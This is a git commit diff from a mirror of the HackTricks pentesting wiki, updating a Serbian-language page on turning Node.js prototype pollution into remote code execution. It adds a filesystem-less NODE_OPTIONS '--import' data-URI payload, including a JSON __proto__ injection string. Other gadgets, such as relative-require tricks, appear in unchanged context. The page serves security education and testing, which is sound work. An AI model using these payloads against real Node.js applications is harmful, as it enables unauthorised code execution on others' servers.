mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p
This commit is contained in:
parent
c8548e98a3
commit
1dd004ff6b
@ -1,8 +1,8 @@
|
|||||||
# Zagađenje prototipa do RCE
|
# Prototype Pollution to RCE
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Ranjivi kod
|
## Vulnerable Code
|
||||||
|
|
||||||
Zamislite pravi JS koji koristi neki kod poput sledećeg:
|
Zamislite pravi JS koji koristi neki kod poput sledećeg:
|
||||||
```javascript
|
```javascript
|
||||||
@ -37,11 +37,11 @@ clone(USERINPUT)
|
|||||||
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
|
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
|
||||||
var proc = fork("a_file.js")
|
var proc = fork("a_file.js")
|
||||||
```
|
```
|
||||||
## PP2RCE putem env var
|
## PP2RCE putem env varijabli
|
||||||
|
|
||||||
**PP2RCE** znači **Zagađenje prototipa do RCE** (Daljinsko izvršavanje koda).
|
**PP2RCE** znači **Zagađenje prototipa do RCE** (Daljinsko izvršavanje koda).
|
||||||
|
|
||||||
Prema ovom [**izveštaju**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), kada se **proces pokrene** nekom metodom iz **`child_process`** (kao što su `fork` ili `spawn` ili drugi), poziva se metoda `normalizeSpawnArguments` koja je **alat za zagađenje prototipa za kreiranje novih env var**:
|
Prema ovom [**izveštaju**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), kada se **proces pokrene** nekom metodom iz **`child_process`** (kao što su `fork` ili `spawn` ili drugi), poziva metodu `normalizeSpawnArguments` koja je **alat za zagađenje prototipa za kreiranje novih env varijabli**:
|
||||||
```javascript
|
```javascript
|
||||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||||
|
|
||||||
@ -61,15 +61,15 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Proverite taj kod, možete videti da je moguće **poison `envPairs`** samo zagađivanjem **atributa `.env`.**
|
Proverite taj kod, možete videti da je moguće **otrovati `envPairs`** samo **zagađujući** **atribut `.env`.**
|
||||||
|
|
||||||
### **Zagađivanje `__proto__`**
|
### **Zagađivanje `__proto__`**
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Imajte na umu da zbog načina na koji funkcija **`normalizeSpawnArguments`** iz biblioteke **`child_process`** u node-u funkcioniše, kada se nešto pozove kako bi se **postavila nova env varijabla** za proces, potrebno je samo **zagađivanje bilo čega**.\
|
> Imajte na umu da zbog načina na koji funkcija **`normalizeSpawnArguments`** iz biblioteke **`child_process`** u nodu funkcioniše, kada se nešto pozove kako bi se **postavila nova env varijabla** za proces, samo treba da **zagađujete bilo šta**.\
|
||||||
> Na primer, ako uradite `__proto__.avar="valuevar"` proces će biti pokrenut sa varijablom pod imenom `avar` sa vrednošću `valuevar`.
|
> Na primer, ako uradite `__proto__.avar="valuevar"` proces će biti pokrenut sa varijablom pod imenom `avar` sa vrednošću `valuevar`.
|
||||||
>
|
>
|
||||||
> Međutim, da bi **env varijabla bila prva**, potrebno je **zagađivanje** **atributa `.env`** i (samo u nekim metodama) ta varijabla će biti **prva** (omogućavajući napad).
|
> Međutim, da bi **env varijabla bila prva**, morate da **zagađujete** **atribut `.env`** i (samo u nekim metodama) ta varijabla će biti **prva** (omogućavajući napad).
|
||||||
>
|
>
|
||||||
> Zato **`NODE_OPTIONS`** **nije unutar `.env`** u sledećem napadu.
|
> Zato **`NODE_OPTIONS`** **nije unutar `.env`** u sledećem napadu.
|
||||||
```javascript
|
```javascript
|
||||||
@ -149,9 +149,50 @@ clone(USERINPUT)
|
|||||||
var proc = fork("a_file.js")
|
var proc = fork("a_file.js")
|
||||||
// This should create the file /tmp/pp2rec
|
// This should create the file /tmp/pp2rec
|
||||||
```
|
```
|
||||||
|
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> Pošto **Node.js 19** CLI zastavica `--import` može biti prosleđena kroz `NODE_OPTIONS` na isti način kao `--require`. Za razliku od `--require`, `--import` razume **data-URI** tako da napadač uopšte **ne treba pristup za pisanje u fajl sistem**. Ovo čini uređaj mnogo pouzdanijim u zaključanim ili samo za čitanje okruženjima.
|
||||||
|
>
|
||||||
|
> Ova tehnika je prvi put javno dokumentovana od strane PortSwigger istraživanja u maju 2023. i od tada je reprodukovana u nekoliko CTF izazova.
|
||||||
|
|
||||||
|
Napad je konceptualno identičan trikovima `--require /proc/self/*` prikazanim iznad, ali umesto da upućujemo na fajl, direktno ugrađujemo payload u base64-encoded `data:` URL:
|
||||||
|
```javascript
|
||||||
|
const { fork } = require("child_process")
|
||||||
|
|
||||||
|
// Manual pollution
|
||||||
|
b = {}
|
||||||
|
|
||||||
|
// Javascript that is executed once Node parses the import URL
|
||||||
|
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
|
||||||
|
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
|
||||||
|
|
||||||
|
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
|
||||||
|
// any key that will force spawn (fork) – same as earlier examples
|
||||||
|
fork("./a_file.js");
|
||||||
|
```
|
||||||
|
Zloupotreba ranjivog merge/clone sink-a prikazanog na vrhu stranice:
|
||||||
|
```javascript
|
||||||
|
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
|
||||||
|
clone(USERINPUT);
|
||||||
|
|
||||||
|
// Gadget trigger
|
||||||
|
fork("./a_file.js");
|
||||||
|
// → creates /tmp/pp2rce_import
|
||||||
|
```
|
||||||
|
### Zašto `--import` pomaže
|
||||||
|
1. **Nema interakcije sa diskom** – payload putuje potpuno unutar komandne linije procesa i okruženja.
|
||||||
|
2. **Radi sa ESM-okruženjima** – `--import` je kanonski način za pre-load JavaScript-a u modernim Node verzijama koje podrazumevaju ECMAScript Module.
|
||||||
|
3. **Obilazi neka `--require` dozvoljena lista** – nekoliko biblioteka za učvršćivanje filtrira samo `--require`, ostavljajući `--import` netaknutim.
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> Podrška za `--import` u `NODE_OPTIONS` je još uvek prisutna u najnovijem **Node 22.2.0** (jun 2025). Tim za razvoj Node-a raspravlja o ograničavanju data-URI u budućnosti, ali nijedna mitigacija nije dostupna u trenutku pisanja.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
## DNS Interakcija
|
## DNS Interakcija
|
||||||
|
|
||||||
Korišćenjem sledećih payload-a moguće je zloupotrebiti NODE_OPTIONS env var koji smo prethodno diskutovali i detektovati da li je to uspelo putem DNS interakcije:
|
Korišćenjem sledećih payload-a moguće je zloupotrebiti NODE_OPTIONS env var koji smo prethodno diskutovali i detektovati da li je to uspelo uz DNS interakciju:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"__proto__": {
|
"__proto__": {
|
||||||
@ -227,7 +268,7 @@ var proc = execFile("/usr/bin/node")
|
|||||||
|
|
||||||
// Windows - not working
|
// Windows - not working
|
||||||
```
|
```
|
||||||
Za **`execFile`** da radi, **MORA** izvršiti node da bi NODE_OPTIONS radili.\
|
Za **`execFile`** da funkcioniše, **MORA** izvršiti node da bi NODE_OPTIONS radili.\
|
||||||
Ako **ne** izvršava **node**, treba da pronađeš kako možeš **izmeniti izvršenje** onoga što se izvršava **pomoću promenljivih okruženja** i postaviti ih.
|
Ako **ne** izvršava **node**, treba da pronađeš kako možeš **izmeniti izvršenje** onoga što se izvršava **pomoću promenljivih okruženja** i postaviti ih.
|
||||||
|
|
||||||
**Ostale** tehnike **rade** bez ovog zahteva jer je **moguće modifikovati** **ono što se izvršava** putem zagađenja prototipa. (U ovom slučaju, čak i ako možeš zagađivati `.shell`, nećeš zagađivati ono što se izvršava).
|
**Ostale** tehnike **rade** bez ovog zahteva jer je **moguće modifikovati** **ono što se izvršava** putem zagađenja prototipa. (U ovom slučaju, čak i ako možeš zagađivati `.shell`, nećeš zagađivati ono što se izvršava).
|
||||||
@ -461,18 +502,18 @@ var proc = spawnSync("something")
|
|||||||
```
|
```
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
## Prisiljavanje Spawn
|
## Prisilno pokretanje
|
||||||
|
|
||||||
U prethodnim primerima ste videli kako da aktivirate gadget, funkcionalnost koja **poziva `spawn`** mora biti **prisutna** (sve metode **`child_process`** koje se koriste za izvršavanje nečega je pozivaju). U prethodnom primeru to je bila **deo koda**, ali šta ako kod **ne** poziva to.
|
U prethodnim primerima ste videli kako da aktivirate gadget, funkcionalnost koja **poziva `spawn`** mora biti **prisutna** (sve metode **`child_process`** koje se koriste za izvršavanje nečega je pozivaju). U prethodnom primeru to je bilo **deo koda**, ali šta ako kod **ne poziva** to.
|
||||||
|
|
||||||
### Kontrolisanje putanje do require fajla
|
### Kontrola putanje do require datoteke
|
||||||
|
|
||||||
U ovom [**drugom izveštaju**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) korisnik može kontrolisati putanju fajla gde će biti izvršen **`require`**. U toj situaciji napadaču je potrebno samo da **pronađe `.js` fajl unutar sistema** koji će **izvršiti spawn metodu kada se importuje.**\
|
U ovom [**drugom izveštaju**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) korisnik može kontrolisati putanju datoteke gde će biti izvršen **`require`**. U tom scenariju napadač samo treba da **pronađe `.js` datoteku unutar sistema** koja će **izvršiti metodu spawn kada se importuje.**\
|
||||||
Neki primeri uobičajenih fajlova koji pozivaju spawn funkciju kada se importuju su:
|
Neki primeri uobičajenih datoteka koje pozivaju spawn funkciju kada se importuju su:
|
||||||
|
|
||||||
- /path/to/npm/scripts/changelog.js
|
- /path/to/npm/scripts/changelog.js
|
||||||
- /opt/yarn-v1.22.19/preinstall.js
|
- /opt/yarn-v1.22.19/preinstall.js
|
||||||
- Pronađite **više fajlova ispod**
|
- Pronađite **više datoteka ispod**
|
||||||
|
|
||||||
Sledeći jednostavan skript će pretraživati **pozive** iz **child_process** **bez ikakvog razmaka** (da bi se izbeglo prikazivanje poziva unutar funkcija):
|
Sledeći jednostavan skript će pretraživati **pozive** iz **child_process** **bez ikakvog razmaka** (da bi se izbeglo prikazivanje poziva unutar funkcija):
|
||||||
```bash
|
```bash
|
||||||
@ -507,7 +548,7 @@ Međutim, ako se kod izvršava zahtev nakon zagađenja prototipa, čak i ako **n
|
|||||||
Stoga, ako se zahtev izvrši nakon vašeg zagađenja prototipa i nema funkcije spawn, ovo je napad:
|
Stoga, ako se zahtev izvrši nakon vašeg zagađenja prototipa i nema funkcije spawn, ovo je napad:
|
||||||
|
|
||||||
- Pronađite **`.js` datoteku unutar sistema** koja kada bude **zahtjevana** će **izvršiti nešto koristeći `child_process`**
|
- Pronađite **`.js` datoteku unutar sistema** koja kada bude **zahtjevana** će **izvršiti nešto koristeći `child_process`**
|
||||||
- Ako možete da otpremite datoteke na platformu koju napadate, možete otpremiti takvu datoteku
|
- Ako možete da otpremite datoteke na platformu koju napadate, možete otpremiti datoteku poput te
|
||||||
- Zagađujte putanje da **prisilite učitavanje `.js` datoteke** koja će izvršiti nešto sa child_process
|
- Zagađujte putanje da **prisilite učitavanje `.js` datoteke** koja će izvršiti nešto sa child_process
|
||||||
- **Zagađujte environ/cmdline** da izvršite proizvoljan kod kada se pozove funkcija za izvršavanje child_process (vidi inicijalne tehnike)
|
- **Zagađujte environ/cmdline** da izvršite proizvoljan kod kada se pozove funkcija za izvršavanje child_process (vidi inicijalne tehnike)
|
||||||
|
|
||||||
@ -554,12 +595,12 @@ fork("anything")
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#endtabs}}
|
{{#endtabs}}
|
||||||
|
|
||||||
#### Relativno zahtevanje - 1
|
#### Relativna putanja - 1
|
||||||
|
|
||||||
Ako se umesto apsolutne putanje učita **relativna putanja**, možete naterati node da **učita drugu putanju**:
|
Ako se učita **relativna putanja** umesto apsolutne putanje, možete naterati node da **učita drugu putanju**:
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="eksploit"}}
|
{{#tab name="exploit"}}
|
||||||
```javascript
|
```javascript
|
||||||
// Create a file called malicious.js in /tmp
|
// Create a file called malicious.js in /tmp
|
||||||
// Contents of malicious.js in the other tab
|
// Contents of malicious.js in the other tab
|
||||||
@ -636,7 +677,7 @@ fork("/path/to/anything")
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#endtabs}}
|
{{#endtabs}}
|
||||||
|
|
||||||
#### Relativno zahtevanje - 3
|
#### Relative require - 3
|
||||||
|
|
||||||
Slično prethodnom, ovo je pronađeno u [**ovoj analizi**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
Slično prethodnom, ovo je pronađeno u [**ovoj analizi**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
||||||
```javascript
|
```javascript
|
||||||
@ -665,12 +706,16 @@ Međutim, kao i prethodne **`child_process`** metode, to je **ispravljeno** u na
|
|||||||
|
|
||||||
## Fixes & Unexpected protections
|
## Fixes & Unexpected protections
|
||||||
|
|
||||||
Molimo vas da napomenete da prototipsko zagađenje funkcioniše ako je **atribut** objekta koji se pristupa **neodređen**. Ako je u **kodu** taj **atribut** **postavljen** na **vrednost**, nećete moći da ga **prepišete**.
|
Molimo vas da napomenete da prototipska zagađenja funkcionišu ako je **atribut** objekta koji se pristupa **neodređen**. Ako je u **kodu** taj **atribut** **postavljen** na **vrednost**, nećete moći da ga **prepišete**.
|
||||||
|
|
||||||
U junu 2022. iz [**ovog commit-a**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) varijabla `options` umesto `{}` je **`kEmptyObject`**. Što **sprečava prototipsko zagađenje** da utiče na **atribute** **`options`** kako bi se dobio RCE.\
|
U junu 2022. iz [**ovog commit-a**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) varijabla `options` umesto `{}` je **`kEmptyObject`**. Što **sprečava prototipsko zagađenje** da utiče na **atribute** **`options`** kako bi se dobio RCE.\
|
||||||
Bar od v18.4.0 ova zaštita je **implementirana**, i stoga `spawn` i `spawnSync` **eksploati** koji utiču na metode **više ne rade** (ako se ne koriste `options`!).
|
Bar od v18.4.0 ova zaštita je **implementirana**, i stoga `spawn` i `spawnSync` **eksploati** koji utiču na metode **više ne rade** (ako se ne koriste `options`!).
|
||||||
|
|
||||||
U [**ovom commit-u**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) je **prototipsko zagađenje** **`contextExtensions`** iz vm biblioteke **takođe donekle ispravljeno** postavljanjem opcija na **`kEmptyObject`** umesto **`{}`.**
|
U [**ovom commit-u**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **prototipsko zagađenje** **`contextExtensions`** iz vm biblioteke je **takođe donekle ispravljeno** postavljanjem opcija na **`kEmptyObject`** umesto **`{}`.**
|
||||||
|
|
||||||
|
> [!INFO]
|
||||||
|
> **Node 20 (april 2023) & Node 22 (april 2025)** doneli su dodatno učvršćivanje: nekoliko `child_process` pomoćnika sada kopira korisnički obezbeđene `options` sa **`CopyOptions()`** umesto da ih koristi po referenci. Ovo blokira zagađenje ugnježdenih objekata kao što je `stdio`, ali **ne štiti od `NODE_OPTIONS` / `--import` trikova** opisanih iznad – ti flagovi se i dalje prihvataju putem promenljivih okruženja.
|
||||||
|
> Potpuno rešenje bi moralo da ograniči koji CLI flagovi mogu biti propagirani iz roditeljskog procesa, što se prati u Node Issue #50559.
|
||||||
|
|
||||||
### **Other Gadgets**
|
### **Other Gadgets**
|
||||||
|
|
||||||
@ -682,6 +727,8 @@ U [**ovom commit-u**](https://github.com/nodejs/node/commit/0313102aaabb49f78156
|
|||||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||||
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
||||||
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
||||||
|
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
|
||||||
|
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
|
||||||
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user